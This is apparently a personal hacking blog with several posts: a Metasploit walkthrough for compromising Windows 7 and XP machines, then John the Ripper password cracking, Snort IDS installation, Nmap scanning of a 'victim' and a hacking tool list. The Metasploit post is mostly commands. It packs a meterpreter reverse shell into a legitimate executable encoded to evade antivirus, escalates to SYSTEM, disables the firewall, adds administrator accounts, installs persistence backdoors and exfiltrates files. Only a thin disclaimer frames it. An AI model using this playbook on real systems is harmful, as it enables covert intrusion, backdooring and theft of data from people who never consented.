Wednesday, 6 February 2013

Hack Window 7 x64 window XP x64 using metasploit

Firstly i am telling you don't do this for illegal work  this tutorial is only for knowledge enhancement. or do it on your own risk don't blame me for anything.

Tool require is metasploit.

# Here are some examples on [] from the guide beneath:
# set LHOST [IP ADRESS INT.] = set LHOST 192.168.1.15
# rdesktop [IP]:[port] -u "[USERNAME]" = rdesktop 192.168.1.15:1337 -u "John"
# search -d "[DRIVE:\\FOLDER\\FOLDER]" -f *.jpg = search -d "C:\\windows\\New folder" -f *.jpg
# So when you input anything where there is [], remember to remove the []

-------------------------------------

cd /pentest/exploits/framework3/
svn up
# To update framework3
clear
./msfpayload windows/meterpreter/reverse_tcp LHOST=[YOUR IP ADRESS INT./EXT.] LPORT=[YOUR PORT] R | ./msfencode -c [NUMBER - How many time it will be encoded] -e x86/shikata_ga_nai -x /root/[SOFTWARE_NAME].exe -t exe > /root/[NEW_SOFTWARE_NAME].exe
# If you get encoder error find another EXE or try to encode it less time
# Copy payload to target

-------------------------------------

cd /pentest/exploits/framework3/
clear
./msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP ADRESS INT.]
set LPORT [PORT] (if used in msfpayload in Shell 1)
show options
exploit


----------
# Now we wait for connection, so start the payload on victim computer
----------

use priv
ps
# Look for PID on explorer.exe
migrate [PID on explorer]
getsystem
sysinfo
# If "Arch = x64" = NO HASHDUMP it won't work
# Now we are in the system
-------------------------------------

shell
# Connect to CMD
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
# Allows incoming terminal service connections
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
# Disables blocking incoming Terminal service connections
Netsh firewall set opmode enable
# Enable Firewall on Victim
Netsh firewall set opmode disable
# Disable Firewall on Victim
net user [USERNAME] [PASSWORD]
# Change password for the user
# Or create you own user
net user [USERNAME] [PASSWORD] /add
net localgroup [GROUP] [USERNAME] /add
# In [GROUP] you could use "administrators" and [USERNAME] is the user you just created
net accounts /maxpwage:[days] | unlimited
# Examples: net accounts /maxpwage:6
# or: net accounts /maxpwage:unlimited

# CTRL + Z then Y to exit shell without it freezing the system

-------------------------------------

{Shell 3} (RDP to compromised system)

# No need for ":" and [PORT] if local
# Remember to be in "root@bt:~#"
rdesktop [IP]:[port] -u "[USERNAME]"
run metsvc (set backdoor for next time you want in)
(OR THIS)
run persistence -r [YOUR IP ADRESS INT./EXT.] -p [YOUR PORT] -A -X -i 300
# 300 tells it to send request for connection every 300 sec. "run persistence -h" for more info
**UP- AND DOWNSIDES USING THIS***
METSVC:
VERY BAD: All 3 files is use gets flagged by Norton Internet Security 2011 as trojan, maybe other AV's will do this too!
BAD: If ip change you have to know the IP to connect back to Victim
GOOD: Easy to use
GOOD: It dosn't request YOUR IP and port!
PERSISTENCE:
BAD: It requests YOUR IP and port!
BAD: Can be more "difficult" to use
GOOD: Flexible
GOOD: Auto Connect
ALMOST GOOD: svchost.exe is reported as suspicious, but NOT as malware! It's only when you run NPE (Norton Power Eraser) it is detected as bad, and will be removed. and that's a tool you must download!

-------------------------------------

{GET BACK INTO SYSTEM} (using metsvc in a new terminal)
cd /pentest/exploits/framework3/
svn up
clear
./msfconsole
use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
set LPORT 31337 (Must be this port of what i know)
set RHOST [VICTIM IP ADRESS]
show options (see if your setup is correct)
exploit
cd /pentest/exploits/framework3/
svn up
clear
./msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP ADRESS INT.]
set LPORT [PORT]
# The port set in persistence backdoor
show options
exploit

----------
# Now we wait for connection, it will reconnect to your computer within 300 sec
----------

getuid
# If = "NT AUTHORITY\SYSTEM" do this else go to "use priv":
ps
# Find PID on explorer.exe
steal_token [NUMBER - PID on explorer]
# From what i know it grants you the same rights as the user running that process
use priv
get system
------------------------------------

{Search} (in meterpreter console)

search -f *.jpg
# Finding all JPG files on the system
search -d "[DRIVE:\\FOLDER\\FOLDER]" -f *.jpg
# Finding all JPG filen i a specific folder
searct -f test.txt
# Find a specific file on the whole system
{Uploading and Downloading} (How I use it)
# Use "ls", "pwd" and "cd" to navigate around - see below under commands
Explanation:
Create a txt file on yout BT4 desktop and write any thing in it, or nothing, and save it with the name "test.txt" then in terminal in meterpreter console (after your connected to victim), navigate to the desktop of the user currently logged in.
Use "pwd" without quotes, to check if the path is correct, if it is type the following:

{Upload}
upload /root/test.txt test.txt
# and if you are uploading a file with space in it's name:
upload "/root/test 2.txt" "test 2.txt"
# Or if your not in the path where you want to upload a file, and want it to be uploaded to another folder
upload "/root/test 2.txt" "DRIVE:\\FOLDER\\FOLDER\\test 2.txt"
# Example: upload "/root/test 2.txt" "C:\\test\\test1\\test 2.txt"

{Download}
Explanation:
Now we are going to download the file we just uploaded the "test.txt". Navigate to the folder if your not already in it, by using the "cd", "pwd" and "ls" commands.
Then type:
download test.txt /root/test.txt
# And if you are downloading a file with space in it's name
download "test 2.txt" "/root/test 2.txt"
# Or if your not in the path where you want to download a file from, but know the exact path and name by using search
download "DRIVE:\\FOLDER\\FOLDER\\test 2.txt" "/root/test 2.txt"
# Example: download "C:\\test\\test1\\test 2.txt" "/root/test 2.txt"

Tuesday, 18 December 2012

John the Ripper, Password Cracker tool



John the Ripper is free and Open Source software,its the most famous and one of the best password cracker in the real time world.
its most widely used tool to crack the passwords in the unix  environment.Its distributed primarily in source code form.
If you would rather use a commercial product tailored for your specific operating systemJohn the Ripper is a program that decyrpts Unix passwords using DES (Data Encryption Standard). 

Step 1: Download JTR.

Step 2: Extract JTR. using the command

##--tar -xzf john-1.6.tar.gz

The filename must include the .txt extension. This is the regular crack that file with .txt extension will be used as a dictionary 
user name to use the john the ripper

##--User:gyuJo098KkLy9

Save the file as crackme.txt (just an example) and go to the prompt and type 'john crackme.txt'if you know the streanth of the password  the you can use Single crack mode. This is only recommended for weak passwords as it includes only a few rules and a small wordlist

##--john -single crackme.txt

Wordfile: Uses a wordlist (basically a dictionary attack). What this does is tries every word in the list until it finds a match or you reach the end of the list. This is quicker than the default (bruteforce) attack, but I don't recommend this because it doesn't always find a match. More notes on wordlists below.

##--john -wordfile:password.lst crackme.txt

Restore: Ok, let's say that you need to stop the crack in the middle. Press crtl+break.A file will be created in the JTR directory named 'restore' (no quotes doofus, and yes, no file extention). You can start the crack back up from that restore point

##--john -restore:restore

Session: Use this if you know that you will have to stop JTR in the middle of a crack. It allows you to create a new file that holds the data of your session. You can then restore your session later.

##--john -session:[save to filename] crackme.txt

Shows how fast JTR will work on your computer

##- john -test

Sunday, 9 December 2012

hacking with Snort IDS/IPS

Snort
Snort is a free lightweight network intrusion detection system for both UNIX and Windows.
Snort Combining the benefits of signature, protocol, and anomaly-based inspection, Snort is the most widely deployed IDS/IPS technology worldwide
in the blog i am gonna show you how to install snort from source, write rules, and perform basic testing.

Download and Extract Snort

# cd /usr/src
# wget -O snort-2.8.6.1.tar.gz http://www.snort.org/downloads/116
# tar xvzf snort-2.8.6.1.tar.gz

Install Snort

Before installing snort, make sure you have dev packages of libpcap and libpcre.
these are the essential to build a good ids

#apt-get install snort-mysql
#apt-get install libpcap0.8-dev
#apt-get install libnet1-dev
#apt-get install build-essential
#apt-get install checkinstall
#apt-get install libpcre3-dev
#apt-get install libmysqlclient12-dev


# cd snort-2.8.6.1
# ./configure
# make
# make install

Create the required files and directory
# mkdir /etc/snort
# mkdir /etc/snort/rules
# mkdir /var/log/snort

Copy two files inside our new /etc/snort/rules directory:
- classification.config: defines URLs for the references found in the rules.
- reference.config: includes information for prioritizing rules.


#cp snort-2.6.1.3/etc/classification.config /etc/snort_inline/rules/
#cp snort-2.6.1.3/etc/reference.config /etc/snort_inline/rules/


Create a user called snort to launch Snort:
#useradd snort -d /var/log/snort -s /bin/false -c SNORT_IDS

Create a log directory owned by the snort user:

You need first to use the "configure" command to check the dependancies and prepare Snort to be compiled for MySQL.
#cd snort_inline-2.6.1.3
#./configure --with-mysq

Create the following snort.conf and icmp.rules files:

# cat /etc/snort/snort.conf
include /etc/snort/rules/icmp.rules
# cat /etc/snort/rules/icmp.rules
alert icmp any any -> any any (msg:"ICMP Packet"; sid:477; rev:3;)

Execute snort

Execute snort from command line, as mentioned below.
# snort -c /etc/snort/snort.conf -l /var/log/snort/
Try pinging some IP from your machine, to check our ping rule
# head /var/log/snort/alert
[**] [1:477:3] ICMP Packet [**]
[Priority: 0]
07/27-20:41:57.230345 > l/l len: 0 l/l type: 0x200 0:0:0:0:0:0
pkt type:0x4 proto: 0x800 len:0x64
209.85.231.102 -> 209.85.231.104 ICMP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:84 DF
Type:8  Code:0  ID:24905   Seq:1  ECHO


Alert Explanation
# snort -dev -i ppp0 -c /etc/snort/snort.conf -l /var/log/snort/

configure database

Add a password for the MySQL root user:
#mysqladmin -u root password new_root_password
Create the MySQL database and tables Create the MySQL database
#mysql -u root -p
>create database snort;


 Packaged installation
Find the tables: dpkg -L snort-mysql
We are looking for the create_mysql.gz file, it is normally located in the /usr/share/doc/snort-mysql folder.

#gzip –d /usr/share/doc/snort-mysql/create_mysql.gz
Import the MySql tables:

#mysql -u root -p snort < /usr/share/doc/snort-mysql/create_mysql

 CONFIGURE SNORT FOR SQL

We now have to forward the logs into the MySql database:
This is already done by installing the snort-mysql package, we just need only to configure the username and password to access the snort database.
In the /etc/snort/snort.conf file, we have to change the line between (#DBSTART#) and (#DBEND#):

output database: log, mysql, user=snortuser password=snortpassword dbname=snort host=localhost

 uncomment the following lines:

ruletype redalert
{
type alert
output alert_syslog: LOG_AUTH LOG ALERT
output database: log, mysql, user=snortuser password=snortpassword dbname=snort host=localhost
}
Start Snort !!

snort –u snort –c /etc/snort/snort.conf

Snort is started under the snort user and will load the config stored in the /etc/snort/snort.conf file


We have to add a line inside the /etc/crontab file to start Snort automatically after a reboot:

@reboot root snort -u snort -c /etc/snort/snort.conf >> /dev/null

Sunday, 2 December 2012

NMAP : Enumeration

To start learn hacking you are going to need these Operating system and tools. if you too good in programming then you may not need these tool, but for effective and quick response you are gonna need this setup.
As i list some tool in my previous blog the very first tool is Nmap. Nmap is 
a network security scanning tool, basically used for information gathering. you can collect all the essential information about the victim.like which operating system he/she is using.its freely available to everyone. its provides services like
1-Traceroute
2-Operating system detection
3-Detail expression of port scanning
4-Nmap scripting engine (it can check like wheather the proxy server can be accessed without password and many more things )
5-Packet tracing
6-Port scanning
7-Fragmanting
8-Ftp bounce
9-RPC and List scan
 ---------------------------------------------------------------------------------------------------------------------
A-Tcp Port Scanning
root@bt:~# nmap -sS 192.168.1.88

Starting Nmap 6.01 ( http://nmap.org ) at 2012-12-02 16:51 IST
Nmap scan report for 192.168.1.88
Host is up (0.00028s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE
902/tcp  open  iss-realsecure
912/tcp  open  apex-mesh
5357/tcp open  wsdapi
MAC Address: XX:XX:XX:XX:XX:XX (Intel) mac address of victim

Nmap done: 1 IP address (1 host up) scanned in 5.66 seconds.

we can use -sU to check for udp port that are opened. 


  nmap -sU 192.168.1.188
-----------------------------------------------------------------------------------------------------------------------
B-FIN packet scan 
root@bt:~# nmap -sF 192.168.1.88

Starting Nmap 6.01 ( http://nmap.org ) at 2012-12-02 16:57 IST
Nmap scan report for 192.168.1.88
Host is up (0.00017s latency).
All 1000 scanned ports on 192.168.1.88 are open|filtered

MAC Address: XX:XX:XX:XX:XX:XX
Nmap done: 1 IP address (1 host up) scanned in 21.15 secon
 

---------------------------------------------------------------------------------------------------------------------
C-IP Protocol Scan

D-Version Detection

E-Idle Scanning

here we have an example of all the above
 ----------------------------------------------------------------------------------------------------------------
root@bt:~# nmap -sS -P0 -A -v 192.168.1.88

Starting Nmap 6.01 ( http://nmap.org ) at 2012-12-02 17:03 IST
NSE: Loaded 93 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 17:03
Scanning 192.168.1.88 [1 port]
Completed ARP Ping Scan at 17:03, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:03
Completed Parallel DNS resolution of 1 host. at 17:03, 0.00s elapsed
Initiating SYN Stealth Scan at 17:03
Scanning 192.168.1.88 [1000 ports]
Discovered open port 912/tcp on 192.168.1.88
Discovered open port 5357/tcp on 192.168.1.88
Discovered open port 902/tcp on 192.168.1.88
Completed SYN Stealth Scan at 17:03, 8.64s elapsed (1000 total ports)
Initiating Service scan at 17:03
Scanning 3 services on 192.168.1.88
Completed Service scan at 17:04, 11.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.1.88
NSE: Script scanning 192.168.1.88.
Initiating NSE at 17:04
Completed NSE at 17:04, 30.03s elapsed
Nmap scan report for 192.168.1.88
Host is up (0.00031s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE         VERSION
902/tcp  open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp  open  vmware-auth     VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
5357/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 503)
|_http-title: Service Unavailable
MAC Address: XX:XX:XX:XX:XX:XX (Intel)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2008|7|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_7::professional cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
OS details: Microsoft Windows Server 2008 Beta 3, Microsoft Windows 7 Professional, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2 or Windows Server 2008
Uptime guess: 0.121 days (since Sun Dec  2 14:10:12 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms 192.168.1.88

NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.00 seconds
           Raw packets sent: 2041 (92.356KB) | Rcvd: 11 (568B

-------------------------------------------------------------------------------------------------------------------------- 
             Trace-route example

nmap –packet-trace -p80 dmiessler.com
 SENT (0.1160s) TCP 204.11.219.126:40117 > 204.11.219.126:80 S ttl=40
     id=52313 iplen=44  seq=2829670227 win=1024
RCVD (0.1160s) TCP 204.11.219.126:40117 > 204.11.219.126:80 S ttl=40
     id=52313 iplen=44  seq=2829670227 win=1024
RCVD (0.1160s) TCP 204.11.219.126:80 > 204.11.219.126:40117 SA ttl=64
     id=0 iplen=44  seq=2909000595 win=32792 ack=2829670228
Interesting ports on dmiessler.com (204.11.219.126):
PORT   STATE SERVICE
80/tcp open  http



Nmap done: 1 IP address (1 host up) scanned in 0.13 second

   --------------------------------------------------------------------------------------------------------------------------
           Guys as we know the most important part of hacking is to gather information about the information about the victim.using nmap we can gather all possible information about the victim computer.

Sunday, 25 November 2012

A Hackers Workstation


To start learn hacking you are going to need these Operating system and tools. if you too good in programming then you may not need these tool, but for effective and quick response you are gonna need this setup.
-->
Operating System:

Which OS to use, choice is all yours. Windows in all cases is not so ‘made for hacking’ according to me. Whatever XP,Vista or windows 7. They are all just OS which are made for novice public which can learn computers.
If you are a regular Linux user, Then shift to Backtrack Linux. It is Linux made for hacker geeks & completely embedded with all penetration testing tools in it. But if you have never used Linux & wish to learn then you can use basic Linux distributions like Ubuntu. But remember that you or not supposed to learn Linux desktop environment like windows, you have to learn its shell or terminal.
-->
Hackers Toolkit:

-->
Go surf for these tools enlisted.
  • Nessus : Scanning & Enumeration
  • Snort  : Network  Hacking And Monitoring
  • TCPDump : For sniffing TCP Packets
  • WinDump  : Window version for tcp dump
  • Hping2 : Active network security tool 
  • DSniff : Sniffing Data Packets
  • GFI LANguard : LAN Security
  • Ettercap : Tool for man in the middle attack
  • John the Ripper : Password Cracking Utility
  • OpenSSH
  • Sam Spade
  • ISS Internet Scanner : Web Server Security
  • Tripwire
  • Nikto
  • Kismet
  • SuperScan : Another Great Scanner
  • Cain & Abel
  • SolarWinds Toolsets
  • NTop
  • Nemesis
  • Honeyd
  • Achilles
  • Firewalk
  • Trend Micro online scan
  • Tiny Firewall
  • Symantec Virus Tools
  • Linux Security Audit Tool
  • Firewall Builder
  • IPCop
  • AirSnort : Wireless Network Hacking
  • SATAN
  • Rootkit Hunter : To find out installed root kits.
  • grsecurity 
  • IP-Scanner : To scan IP Ranges
    these are the essential tools for hacking how you gonna use it please 
    wait for next update.